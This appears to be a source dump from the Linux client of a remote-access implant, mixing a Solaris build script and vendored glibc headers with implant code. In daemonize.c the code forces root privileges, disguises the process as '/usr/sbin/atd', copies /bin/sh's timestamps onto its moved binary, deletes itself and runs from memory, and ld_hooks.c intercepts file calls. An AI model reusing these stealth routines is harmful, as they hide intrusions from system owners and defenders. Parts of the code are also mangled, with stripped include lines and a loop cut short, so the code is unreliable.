CFLAGS_FILTER="-Wno-error=sign-conversion" python -m pip install \ pyaml rsa netaddr tinyec pyyaml ecdsa \ paramiko uptime cryptography cffi pylzma pydbus python-ptrace scandir \ scapy colorama pyOpenSSL python-xlib msgpack-python \ u-msgpack-python poster dnslib \ --upgrade --no-binary :all: python -m pip install --upgrade pycryptodome python -m pip install --force-reinstall pycparser==2.17 python -m pip install git+https://github.com/alxchk/psutil.git@fix_sunos10_1346 export LDFLAGS="$LDFLAGS -lsendfile -lkstat" export CFLAGS="$CFLAGS -Dstrnlen\\(x,l\\)=strlen\\(x\\)" python -m pip install git+https://github.com/alxchk/pyuv.git@solaris10 python -m pip install git+https://github.com/alxchk/pykcp.git cd $BUILDENV/build/lib/python2.7 find . -name "*.so*" | while read lib; do strip $lib; done zip -y \ -x "*.a" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyc" -x "*.pyo" \ -x "*test/*" -x "*tests/*" -x "*examples/*" \ -r9 ${TEMPLATES}/solaris-`uname -m`.zip . ================================================ FILE: client/sources-linux-py3/compat/bits/sched.h ================================================ /* Definitions of constants and data structure for POSIX 1003.1b-1993 scheduling interface. Copyright (C) 1996-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see . */ #ifndef __need_schedparam #ifndef _SCHED_H # error "Never include directly; use instead." #endif /* Scheduling algorithms. */ #define SCHED_OTHER 0 #define SCHED_FIFO 1 #define SCHED_RR 2 #ifdef __USE_GNU # define SCHED_BATCH 3 # define SCHED_IDLE 5 # define SCHED_RESET_ON_FORK 0x40000000 #endif #ifdef __USE_GNU /* Cloning flags. */ # define CSIGNAL 0x000000ff /* Signal mask to be sent at exit. */ # define CLONE_VM 0x00000100 /* Set if VM shared between processes. */ # define CLONE_FS 0x00000200 /* Set if fs info shared between processes. */ # define CLONE_FILES 0x00000400 /* Set if open files shared between processes. */ # define CLONE_SIGHAND 0x00000800 /* Set if signal handlers shared. */ # define CLONE_PTRACE 0x00002000 /* Set if tracing continues on the child. */ # define CLONE_VFORK 0x00004000 /* Set if the parent wants the child to wake it up on mm_release. */ # define CLONE_PARENT 0x00008000 /* Set if we want to have the same parent as the cloner. */ # define CLONE_THREAD 0x00010000 /* Set to add to same thread group. */ # define CLONE_NEWNS 0x00020000 /* Set to create new namespace. */ # define CLONE_SYSVSEM 0x00040000 /* Set to shared SVID SEM_UNDO semantics. */ # define CLONE_SETTLS 0x00080000 /* Set TLS info. */ # define CLONE_PARENT_SETTID 0x00100000 /* Store TID in userlevel buffer before MM copy. */ # define CLONE_CHILD_CLEARTID 0x00200000 /* Register exit futex and memory location to clear. */ # define CLONE_DETACHED 0x00400000 /* Create clone detached. */ # define CLONE_UNTRACED 0x00800000 /* Set if the tracing process can't force CLONE_PTRACE on this clone. */ # define CLONE_CHILD_SETTID 0x01000000 /* Store TID in userlevel buffer in the child. */ # define CLONE_NEWCGROUP 0x02000000 /* New cgroup namespace. */ # define CLONE_NEWUTS 0x04000000 /* New utsname group. */ # define CLONE_NEWIPC 0x08000000 /* New ipcs. */ # define CLONE_NEWUSER 0x10000000 /* New user namespace. */ # define CLONE_NEWPID 0x20000000 /* New pid namespace. */ # define CLONE_NEWNET 0x40000000 /* New network namespace. */ # define CLONE_IO 0x80000000 /* Clone I/O context. */ #endif /* The official definition. */ struct sched_param { int __sched_priority; }; __BEGIN_DECLS #ifdef __USE_GNU /* Clone current process. */ extern int clone (int (*__fn) (void *__arg), void *__child_stack, int __flags, void *__arg, ...) __THROW; /* Unshare the specified resources. */ extern int unshare (int __flags) __THROW; /* Get index of currently used CPU. */ extern int sched_getcpu (void) __THROW; /* Switch process to namespace of type NSTYPE indicated by FD. */ extern int setns (int __fd, int __nstype) __THROW; #endif __END_DECLS #endif /* need schedparam */ #if !defined __defined_schedparam \ && (defined __need_schedparam || defined _SCHED_H) # define __defined_schedparam 1 /* Data structure to describe a process' schedulability. */ struct __sched_param { int __sched_priority; }; # undef __need_schedparam #endif #if defined _SCHED_H && !defined __cpu_set_t_defined # define __cpu_set_t_defined #define __CPU_MASK_TYPE unsigned long int /* Size definition for CPU sets. */ # define __CPU_SETSIZE 1024 # define __NCPUBITS (8 * sizeof (__cpu_mask)) /* Type for array elements in 'cpu_set_t'. */ typedef __CPU_MASK_TYPE __cpu_mask; /* Basic access functions. */ # define __CPUELT(cpu) ((cpu) / __NCPUBITS) # define __CPUMASK(cpu) ((__cpu_mask) 1 << ((cpu) % __NCPUBITS)) /* Data structure to describe CPU mask. */ typedef struct { __cpu_mask __bits[__CPU_SETSIZE / __NCPUBITS]; } cpu_set_t; /* Access functions for CPU masks. */ # if __GNUC_PREREQ (2, 91) # define __CPU_ZERO_S(setsize, cpusetp) \ do __builtin_memset (cpusetp, '\0', setsize); while (0) # else # define __CPU_ZERO_S(setsize, cpusetp) \ do { \ size_t __i; \ size_t __imax = (setsize) / sizeof (__cpu_mask); \ __cpu_mask *__bits = (cpusetp)->__bits; \ for (__i = 0; __i < __imax; ++__i) \ __bits[__i] = 0; \ } while (0) # endif # define __CPU_SET_S(cpu, setsize, cpusetp) \ (__extension__ \ ({ size_t __cpu = (cpu); \ __cpu / 8 < (setsize) \ ? (((__cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)] \ |= __CPUMASK (__cpu)) \ : 0; })) # define __CPU_CLR_S(cpu, setsize, cpusetp) \ (__extension__ \ ({ size_t __cpu = (cpu); \ __cpu / 8 < (setsize) \ ? (((__cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)] \ &= ~__CPUMASK (__cpu)) \ : 0; })) # define __CPU_ISSET_S(cpu, setsize, cpusetp) \ (__extension__ \ ({ size_t __cpu = (cpu); \ __cpu / 8 < (setsize) \ ? ((((const __cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)] \ & __CPUMASK (__cpu))) != 0 \ : 0; })) # define __CPU_COUNT_S(setsize, cpusetp) \ __sched_cpucount (setsize, cpusetp) # if __GNUC_PREREQ (2, 91) # define __CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \ (__builtin_memcmp (cpusetp1, cpusetp2, setsize) == 0) # else # define __CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \ (__extension__ \ ({ const __cpu_mask *__arr1 = (cpusetp1)->__bits; \ const __cpu_mask *__arr2 = (cpusetp2)->__bits; \ size_t __imax = (setsize) / sizeof (__cpu_mask); \ size_t __i; \ for (__i = 0; __i < __imax; ++__i) \ if (__arr1[__i] != __arr2[__i]) \ break; \ __i == __imax; })) # endif # define __CPU_OP_S(setsize, destset, srcset1, srcset2, op) \ (__extension__ \ ({ cpu_set_t *__dest = (destset); \ const __cpu_mask *__arr1 = (srcset1)->__bits; \ const __cpu_mask *__arr2 = (srcset2)->__bits; \ size_t __imax = (setsize) / sizeof (__cpu_mask); \ size_t __i; \ for (__i = 0; __i < __imax; ++__i) \ ((__cpu_mask *) __dest->__bits)[__i] = __arr1[__i] op __arr2[__i]; \ __dest; })) # define __CPU_ALLOC_SIZE(count) \ ((((count) + __NCPUBITS - 1) / __NCPUBITS) * sizeof (__cpu_mask)) # define __CPU_ALLOC(count) __sched_cpualloc (count) # define __CPU_FREE(cpuset) __sched_cpufree (cpuset) __BEGIN_DECLS static inline cpu_set_t * __sched_cpualloc (size_t count) { return malloc (__CPU_ALLOC_SIZE (count)); } static inline int __sched_cpucount (size_t setsize, const cpu_set_t *setp) { int s = 0; const __cpu_mask *p = setp->__bits; const __cpu_mask *end = &setp->__bits[setsize / sizeof (__cpu_mask)]; while (p < end) { __cpu_mask l = *p++; #ifdef POPCNT s += POPCNT (l); #else if (l == 0) continue; # if LONG_BIT > 32 l = (l & 0x5555555555555555ul) + ((l >> 1) & 0x5555555555555555ul); l = (l & 0x3333333333333333ul) + ((l >> 2) & 0x3333333333333333ul); l = (l & 0x0f0f0f0f0f0f0f0ful) + ((l >> 4) & 0x0f0f0f0f0f0f0f0ful); l = (l & 0x00ff00ff00ff00fful) + ((l >> 8) & 0x00ff00ff00ff00fful); l = (l & 0x0000ffff0000fffful) + ((l >> 16) & 0x0000ffff0000fffful); l = (l & 0x00000000fffffffful) + ((l >> 32) & 0x00000000fffffffful); # else l = (l & 0x55555555ul) + ((l >> 1) & 0x55555555ul); l = (l & 0x33333333ul) + ((l >> 2) & 0x33333333ul); l = (l & 0x0f0f0f0ful) + ((l >> 4) & 0x0f0f0f0ful); l = (l & 0x00ff00fful) + ((l >> 8) & 0x00ff00fful); l = (l & 0x0000fffful) + ((l >> 16) & 0x0000fffful); # endif s += l; #endif } return s; } static inline void __sched_cpufree (cpu_set_t *__set) { free(__set); } __END_DECLS #endif ================================================ FILE: client/sources-linux-py3/compat/bits/stat.h ================================================ /* Copyright (C) 1992, 1995-2001, 2002 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #ifndef _SYS_STAT_H # error "Never include directly; use instead." #endif #ifndef __timespec_defined #define __timespec_defined 1 struct timespec { __time_t tv_sec; long int tv_nsec; }; #endif #undef __need_timespec /* Versions of the `struct stat' data structure. */ #define _STAT_VER_LINUX_OLD 1 #define _STAT_VER_KERNEL 1 #define _STAT_VER_SVR4 2 #define _STAT_VER_LINUX 3 #define _STAT_VER _STAT_VER_LINUX /* The one defined below. */ /* Versions of the `xmknod' interface. */ #define _MKNOD_VER_LINUX 1 #define _MKNOD_VER_SVR4 2 #define _MKNOD_VER _MKNOD_VER_LINUX /* The bits defined below. */ struct stat { __dev_t st_dev; /* Device. */ unsigned short int __pad1; #ifndef __USE_FILE_OFFSET64 __ino_t st_ino; /* File serial number. */ #else __ino_t __st_ino; /* 32bit file serial number. */ #endif __mode_t st_mode; /* File mode. */ __nlink_t st_nlink; /* Link count. */ __uid_t st_uid; /* User ID of the file's owner. */ __gid_t st_gid; /* Group ID of the file's group.*/ __dev_t st_rdev; /* Device number, if device. */ unsigned short int __pad2; #ifndef __USE_FILE_OFFSET64 __off_t st_size; /* Size of file, in bytes. */ #else __off64_t st_size; /* Size of file, in bytes. */ #endif __blksize_t st_blksize; /* Optimal block size for I/O. */ #ifndef __USE_FILE_OFFSET64 __blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */ #else __blkcnt64_t st_blocks; /* Number 512-byte blocks allocated. */ #endif struct timespec st_atim; /* Time of last access. */ struct timespec st_mtim; /* Time of last modification. */ struct timespec st_ctim; /* Time of last status change. */ # define st_atime st_atim.tv_sec /* Backward compatibility. */ # define st_mtime st_mtim.tv_sec # define st_ctime st_ctim.tv_sec #ifndef __USE_FILE_OFFSET64 unsigned long int __unused4; unsigned long int __unused5; #else __ino64_t st_ino; /* File serial number. */ #endif }; #ifdef __USE_LARGEFILE64 struct stat64 { __dev_t st_dev; /* Device. */ unsigned int __pad1; __ino_t __st_ino; /* 32bit file serial number. */ __mode_t st_mode; /* File mode. */ __nlink_t st_nlink; /* Link count. */ __uid_t st_uid; /* User ID of the file's owner. */ __gid_t st_gid; /* Group ID of the file's group.*/ __dev_t st_rdev; /* Device number, if device. */ unsigned int __pad2; __off64_t st_size; /* Size of file, in bytes. */ __blksize_t st_blksize; /* Optimal block size for I/O. */ __blkcnt64_t st_blocks; /* Number 512-byte blocks allocated. */ struct timespec st_atim; /* Time of last access. */ struct timespec st_mtim; /* Time of last modification. */ struct timespec st_ctim; /* Time of last status change. */ __ino64_t st_ino; /* File serial number. */ }; #endif /* Tell code we have these members. */ #define _STATBUF_ST_BLKSIZE #define _STATBUF_ST_RDEV /* Encoding of the file mode. */ #define __S_IFMT 0170000 /* These bits determine file type. */ /* File types. */ #define __S_IFDIR 0040000 /* Directory. */ #define __S_IFCHR 0020000 /* Character device. */ #define __S_IFBLK 0060000 /* Block device. */ #define __S_IFREG 0100000 /* Regular file. */ #define __S_IFIFO 0010000 /* FIFO. */ #define __S_IFLNK 0120000 /* Symbolic link. */ #define __S_IFSOCK 0140000 /* Socket. */ /* POSIX.1b objects. Note that these macros always evaluate to zero. But they do it by enforcing the correct use of the macros. */ #define __S_TYPEISMQ(buf) ((buf)->st_mode - (buf)->st_mode) #define __S_TYPEISSEM(buf) ((buf)->st_mode - (buf)->st_mode) #define __S_TYPEISSHM(buf) ((buf)->st_mode - (buf)->st_mode) /* Protection bits. */ #define __S_ISUID 04000 /* Set user ID on execution. */ #define __S_ISGID 02000 /* Set group ID on execution. */ #define __S_ISVTX 01000 /* Save swapped text after use (sticky). */ #define __S_IREAD 0400 /* Read by owner. */ #define __S_IWRITE 0200 /* Write by owner. */ #define __S_IEXEC 0100 /* Execute by owner. */ ================================================ FILE: client/sources-linux-py3/compat/ifaddrs.h ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include struct ifaddrs { struct ifaddrs *ifa_next; /* Pointer to the next structure. */ char *ifa_name; /* Name of this network interface. */ unsigned int ifa_flags; /* Flags as from SIOCGIFFLAGS ioctl. */ struct sockaddr *ifa_addr; /* Network address of this interface. */ struct sockaddr *ifa_netmask; /* Netmask of this interface. */ union { /* At most one of the following two is valid. If the IFF_BROADCAST bit is set in `ifa_flags', then `ifa_broadaddr' is valid. If the IFF_POINTOPOINT bit is set, then `ifa_dstaddr' is valid. It is never the case that both these bits are set at once. */ struct sockaddr *ifu_broadaddr; /* Broadcast address of this interface. */ struct sockaddr *ifu_dstaddr; /* Point-to-point destination address. */ } ifa_ifu; /* These very same macros are defined by for `struct ifaddr'. So if they are defined already, the existing definitions will be fine. */ # ifndef ifa_broadaddr # define ifa_broadaddr ifa_ifu.ifu_broadaddr # endif # ifndef ifa_dstaddr # define ifa_dstaddr ifa_ifu.ifu_dstaddr # endif void *ifa_data; /* Address-specific data (may be unused). */ }; static int (*_getifaddrs) (struct ifaddrs **__ifap) = NULL; static void (*_freeifaddrs) (struct ifaddrs *__ifa) = NULL; static int getifaddrs (struct ifaddrs **__ifap) { if (_getifaddrs == -1) return -1; if (_getifaddrs == NULL) _getifaddrs = dlsym(RTLD_NEXT, "getifaddrs"); if (_getifaddrs == NULL) { _getifaddrs = -1; return -1; } return _getifaddrs(__ifap); } static void freeifaddrs (struct ifaddrs *__ifa) { if (_freeifaddrs == -1) return -1; if (_freeifaddrs == NULL) _freeifaddrs = dlsym(RTLD_NEXT, "freeifaddrs"); if (_freeifaddrs) _freeifaddrs(__ifa); } ================================================ FILE: client/sources-linux-py3/compat/sched.h ================================================ /* Definitions for POSIX 1003.1b-1993 (aka POSIX.4) scheduling interface. Copyright (C) 1996-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see . */ #ifndef _SCHED_H #define _SCHED_H 1 #include /* Get type definitions. */ #include #define __need_size_t #include #ifdef __USE_XOPEN2K # define __need_time_t # define __need_timespec #endif #include #ifndef __pid_t_defined typedef __pid_t pid_t; # define __pid_t_defined #endif /* Get system specific constant and data structure definitions. */ #include /* Define the real names for the elements of `struct sched_param'. */ #define sched_priority __sched_priority __BEGIN_DECLS /* Set scheduling parameters for a process. */ extern int sched_setparam (__pid_t __pid, const struct sched_param *__param) __THROW; /* Retrieve scheduling parameters for a particular process. */ extern int sched_getparam (__pid_t __pid, struct sched_param *__param) __THROW; /* Set scheduling algorithm and/or parameters for a process. */ extern int sched_setscheduler (__pid_t __pid, int __policy, const struct sched_param *__param) __THROW; /* Retrieve scheduling algorithm for a particular purpose. */ extern int sched_getscheduler (__pid_t __pid) __THROW; /* Yield the processor. */ extern int sched_yield (void) __THROW; /* Get maximum priority value for a scheduler. */ extern int sched_get_priority_max (int __algorithm) __THROW; /* Get minimum priority value for a scheduler. */ extern int sched_get_priority_min (int __algorithm) __THROW; /* Get the SCHED_RR interval for the named process. */ extern int sched_rr_get_interval (__pid_t __pid, struct timespec *__t) __THROW; #ifdef __USE_GNU /* Access macros for `cpu_set'. */ # define CPU_SETSIZE __CPU_SETSIZE # define CPU_SET(cpu, cpusetp) __CPU_SET_S (cpu, sizeof (cpu_set_t), cpusetp) # define CPU_CLR(cpu, cpusetp) __CPU_CLR_S (cpu, sizeof (cpu_set_t), cpusetp) # define CPU_ISSET(cpu, cpusetp) __CPU_ISSET_S (cpu, sizeof (cpu_set_t), \ cpusetp) # define CPU_ZERO(cpusetp) __CPU_ZERO_S (sizeof (cpu_set_t), cpusetp) # define CPU_COUNT(cpusetp) __CPU_COUNT_S (sizeof (cpu_set_t), cpusetp) # define CPU_SET_S(cpu, setsize, cpusetp) __CPU_SET_S (cpu, setsize, cpusetp) # define CPU_CLR_S(cpu, setsize, cpusetp) __CPU_CLR_S (cpu, setsize, cpusetp) # define CPU_ISSET_S(cpu, setsize, cpusetp) __CPU_ISSET_S (cpu, setsize, \ cpusetp) # define CPU_ZERO_S(setsize, cpusetp) __CPU_ZERO_S (setsize, cpusetp) # define CPU_COUNT_S(setsize, cpusetp) __CPU_COUNT_S (setsize, cpusetp) # define CPU_EQUAL(cpusetp1, cpusetp2) \ __CPU_EQUAL_S (sizeof (cpu_set_t), cpusetp1, cpusetp2) # define CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \ __CPU_EQUAL_S (setsize, cpusetp1, cpusetp2) # define CPU_AND(destset, srcset1, srcset2) \ __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, &) # define CPU_OR(destset, srcset1, srcset2) \ __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, |) # define CPU_XOR(destset, srcset1, srcset2) \ __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, ^) # define CPU_AND_S(setsize, destset, srcset1, srcset2) \ __CPU_OP_S (setsize, destset, srcset1, srcset2, &) # define CPU_OR_S(setsize, destset, srcset1, srcset2) \ __CPU_OP_S (setsize, destset, srcset1, srcset2, |) # define CPU_XOR_S(setsize, destset, srcset1, srcset2) \ __CPU_OP_S (setsize, destset, srcset1, srcset2, ^) # define CPU_ALLOC_SIZE(count) __CPU_ALLOC_SIZE (count) # define CPU_ALLOC(count) __CPU_ALLOC (count) # define CPU_FREE(cpuset) __CPU_FREE (cpuset) #define __NR_sched_setaffinity 203 #define __NR_sched_getaffinity 204 #include #include #define MIN(a, b) (((a) < (b)) ? (a) : (b)) static inline int sched_setaffinity (pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset) { return syscall(__NR_sched_setaffinity, 3, pid, cpusetsize, cpuset); } static inline int sched_getaffinity (pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset) { int res = syscall(__NR_sched_getaffinity, pid, MIN(INT_MAX, cpusetsize), cpuset); if (res != -1) { memset ((char *) cpuset + res, '\0', cpusetsize - res); res = 0; } return res; } #endif __END_DECLS #endif /* sched.h */ ================================================ FILE: client/sources-linux-py3/daemonize.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #ifdef Linux #include #include #include "memfd.h" #include "tmplibrary.h" #endif #ifndef DEFAULT_MTIME_FROM #define DEFAULT_MTIME_FROM "/bin/sh" #endif #ifndef DEFAULT_ARGV0 #define DEFAULT_ARGV0 "/usr/sbin/atd" #endif #ifdef USE_ENV_ARGS #ifndef DEFAULT_ENV_SA0 #define DEFAULT_ENV_SA0 "__SA0" #endif #ifndef DEFAULT_ENV_SCWD #define DEFAULT_ENV_SCWD "__SCWD" #endif #ifndef DEFAULT_ENV_CLEANUP #define DEFAULT_ENV_CLEANUP "__CLEANUP" #endif #ifndef DEFAULT_ENV_MOVE #define DEFAULT_ENV_MOVE "__MOVE" #endif #endif #ifndef DEFAULT_SAFE_PATH #define DEFAULT_SAFE_PATH "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin" #endif #ifndef __O_CLOEXEC # define __O_CLOEXEC 02000000 #endif #ifndef O_CLOEXEC # define O_CLOEXEC __O_CLOEXEC #endif #include "daemonize.h" pid_t daemonize(int *main_argc, char ***main_argv, char *env[], bool exit_parent) { pid_t pid; int pipes[2]; char *set_argv0 = NULL; int argc = *main_argc; char **argv = *main_argv; #ifdef Linux setresuid(0, 0, 0); #else setuid(0); #endif bool triple_fork = true; /* If we are launched directly from the init - don't do the triple fork dance. This is important in case we are launched from upstart */ if (getppid() == 1 || getenv("INVOCATION_ID") != NULL) triple_fork = false; /* Cleanup environment and reexec */ char self[PATH_MAX] = {}; char *fd_str = getenv("_"); int fdenv = -1; if (fd_str) { char *end = NULL; errno = 0; fdenv = strtol(fd_str, &end, 10); if ((end == fd_str) || errno) { fdenv = -1; } } if (triple_fork && exit_parent && fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) { #ifdef USE_ENV_ARGS set_argv0 = getenv(DEFAULT_ENV_SA0); char *set_cwd = getenv(DEFAULT_ENV_SCWD); char *cleanup = getenv(DEFAULT_ENV_CLEANUP); char *move = getenv(DEFAULT_ENV_MOVE); char *mtime_from = DEFAULT_MTIME_FROM; #else char *set_cwd = NULL; char *move = NULL; char *mtime_from = DEFAULT_MTIME_FROM; bool cleanup = false; char c; while ((c = getopt (argc, argv, "0:t:c:m:C")) != -1) switch (c) { case '0': set_argv0 = optarg; break; case 't': mtime_from = optarg; break; case 'c': set_cwd = optarg; break; case 'm': move = optarg; break; case 'C': cleanup = true; break; }; #endif putenv("_=0"); int fd = -1; #ifdef Linux if (strstr(self, "/memfd")) { snprintf(self, sizeof(self), "/proc/%d/exe", getpid()); } #endif struct stat _stat = {}; stat(mtime_from, &_stat); if (move) { fd = open(self, O_RDONLY); unlink(move); int fd2 = open(move, O_RDWR | O_CREAT, 0700); if (fd2 == -1) { move = NULL; } else { for (;;) { char buffer[4096] = {}; int r = read(fd, buffer, sizeof(buffer)); if (r <= 0) { close(fd); if (r == -1) { unlink(move); move = NULL; } else { unlink(self); fchmod(fd2, 0511); fchown(fd2, 0, 0); if (_stat.st_mtime) { struct utimbuf _times = { .actime = _stat.st_atime, .modtime = _stat.st_mtime, }; utime(move, &_times); } } close(fd2); break; } int w = write(fd2, buffer, r); if (w < 0) { close(fd2); close(fd); unlink(move); move = NULL; break; } } } } fd = open(move? move:self, O_CLOEXEC | O_RDONLY); if (fd == -1) { fd = open(move? move:self, O_RDONLY); } int envpipe[2] = {}; if (fd != -1) { if (cleanup) { unlink(move? move:self); } int fake_argc = 2 + (argc - optind); char **fake_argv = malloc(fake_argc * sizeof(char *)); fake_argv[0] = set_argv0? set_argv0 : DEFAULT_ARGV0; fake_argv[fake_argc] = NULL; for (int i=optind,idx=1; i 0) { int end_of_args_found = 0; for (;;) { unsigned int size = 0; int r = read(fdenv, &size, 4); if (r != 4) { break; } if (size == 0xAAAAAAAA) { end_of_args_found = 1; break; } char envstr[PATH_MAX] = {}; if (size > PATH_MAX-1) { break; } r = read(fdenv, envstr, size); if (!r || r != size) { break; } envstr[size] = '\0'; r = putenv(strdup(envstr)); } if (end_of_args_found) { int new_argc = 0; char **new_argv = 0; int argc_ok = 0; int r = read(fdenv, &new_argc, 4); if (r == 4 && new_argc > 0 && new_argc < 256) { int idx; argc_ok = 1; new_argv = (char **) malloc(sizeof(char *) * (new_argc + 1)); for (idx=0; idx #include #include pid_t daemonize(int *argc, char **argv[], char *env[], bool exit_parent); #endif /* DAEMONIZE_H */ ================================================ FILE: client/sources-linux-py3/decompress.c ================================================ #include #include "decompress.h" /* Zpipe code */ #define CHUNK 8196 int decompress(int fd, const char *buf, size_t size) { int ret; unsigned have; z_stream strm; unsigned char out[CHUNK]; /* allocate inflate state */ strm.zalloc = Z_NULL; strm.zfree = Z_NULL; strm.opaque = Z_NULL; strm.avail_in = 0; strm.next_in = Z_NULL; ret = inflateInit2(&strm, 15+32); if (ret != Z_OK) return ret; /* decompress until deflate stream ends or end of file */ do { strm.avail_in = size < CHUNK? size : CHUNK; if (strm.avail_in == 0) break; strm.next_in = (unsigned char *) buf; buf += strm.avail_in; size -= strm.avail_in; do { strm.avail_out = CHUNK; strm.next_out = out; ret = inflate(&strm, Z_NO_FLUSH); switch (ret) { case Z_NEED_DICT: ret = Z_DATA_ERROR; /* and fall through */ case Z_DATA_ERROR: case Z_MEM_ERROR: (void)inflateEnd(&strm); return ret; } have = CHUNK - strm.avail_out; unsigned char *ptr = out; while (have) { int n = write(fd, ptr, have); if (n == -1) { (void)inflateEnd(&strm); return Z_ERRNO; } have -= n; ptr += n; } } while (strm.avail_out == 0); /* done when inflate() says it's done */ } while (ret != Z_STREAM_END); /* clean up and return */ (void)inflateEnd(&strm); return ret == Z_STREAM_END ? Z_OK : Z_DATA_ERROR; } ================================================ FILE: client/sources-linux-py3/decompress.h ================================================ #ifndef DECOMPRESS_H #define DECOMPRESS_H int decompress(int fd, const char *buf, size_t size); #endif /* DECOMPRESS_H */ ================================================ FILE: client/sources-linux-py3/docker/pyenv-setup-build.patch ================================================ --- Modules/Setup 2023-08-25 15:57:16.039376911 +0000 +++ Modules/Setup.new 2023-08-25 15:59:07.427185196 +0000 @@ -107,7 +107,6 @@ # if $HOME is not set _sre -DPy_BUILD_CORE_BUILTIN _sre.c # Fredrik Lundh's new regular expressions _codecs _codecsmodule.c # access to the builtin codecs and codec registry -_weakref _weakref.c # weak references _functools -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _functoolsmodule.c # Tools for working with functions and callable objects _operator -DPy_BUILD_CORE_BUILTIN _operator.c # operator.add() and similar goodies _collections _collectionsmodule.c # Container types @@ -118,6 +117,24 @@ _stat _stat.c # stat.h interface time -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal timemodule.c # -lm # time operations and variables _thread -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _threadmodule.c # low-level threading interface +_struct -DPy_BUILD_CORE_BUILTIN _struct.c # binary structure packing/unpacking +_pickle -DPy_BUILD_CORE_BUILTIN _pickle.c # pickle accelerator +_random _randommodule.c -DPy_BUILD_CORE_BUILTIN # Random number generator +math mathmodule.c _math.c -DPy_BUILD_CORE_BUILTIN # -lm # math library functions, e.g. sin() +zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz -DPy_BUILD_CORE_BUILTIN +_sha1 sha1module.c -DPy_BUILD_CORE_BUILTIN +_sha256 sha256module.c -DPy_BUILD_CORE_BUILTIN +_sha512 sha512module.c -DPy_BUILD_CORE_BUILTIN +_md5 md5module.c -DPy_BUILD_CORE_BUILTIN +_posixsubprocess _posixsubprocess.c -DPy_BUILD_CORE_BUILTIN # POSIX subprocess module helper +unicodedata unicodedata.c -DPy_BUILD_CORE_BUILTIN # static Unicode character database +_socket socketmodule.c -DPy_BUILD_CORE_BUILTIN +select selectmodule.c -DPy_BUILD_CORE_BUILTIN +mmap mmapmodule.c -DPy_BUILD_CORE_BUILTIN +_weakref _weakref.c -DPy_BUILD_CORE_BUILTIN +binascii binascii.c -DPy_BUILD_CORE_BUILTIN +fcntl fcntlmodule.c -DPy_BUILD_CORE_BUILTIN +array arraymodule.c -DPy_BUILD_CORE_BUILTIN # access to ISO C locale support _locale -DPy_BUILD_CORE_BUILTIN _localemodule.c # -lintl ================================================ FILE: client/sources-linux-py3/fixes.c ================================================ #include #include #include #include "memfd.h" char *__real_realpath(const char *path, char *resolved_path); char *__wrap_realpath(const char *path, char *resolved_path) { if (is_memfd_path(path)) { memcpy(resolved_path, path, strlen(path) + 1); return resolved_path; } return __real_realpath(path, resolved_path); } ================================================ FILE: client/sources-linux-py3/fixes.h ================================================ #ifndef ___FIXES_H #define ___FIXES_H #include #include #include #ifndef PTRACE_GETSIGINFO #define PTRACE_GETSIGINFO 0x4202 #endif #ifndef EM_AARCH64 #define EM_AARCH64 183 #endif #endif ================================================ FILE: client/sources-linux-py3/ld_hooks.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include "debug.h" #include "ld_hooks.h" #define export __attribute__((visibility("default"))) static int (*global_open)(const char *pathname, int flags, ...) = NULL; static int (*global_open64)(const char *pathname, int flags, ...) = NULL; static int (*global_openat)(int dirfd, const char *pathname, int flags, ...) = NULL; static int (*global_openat64)(int dirfd, const char *pathname, int flags, ...) = NULL; static FILE *(*global_fopen)(const char *pathname, const char *mode) = NULL; static FILE *(*global_fopen64)(const char *pathname, const char *mode) = NULL; static int (*global__lxstat)(int ver, const char * path, struct stat* stat_buf) = NULL; static int (*global__xstat)(int ver, const char * path, struct stat * stat_buf) = NULL; static int (*global__lxstat64)(int ver, const char * path, struct stat64 * stat_buf) = NULL; static int (*global__xstat64)(int ver, const char * path, struct stat64 * stat_buf) = NULL; static cb_hooks_t __pathmap_callback = NULL; #ifndef O_TMPFILE #define O_TMPFILE 020000000 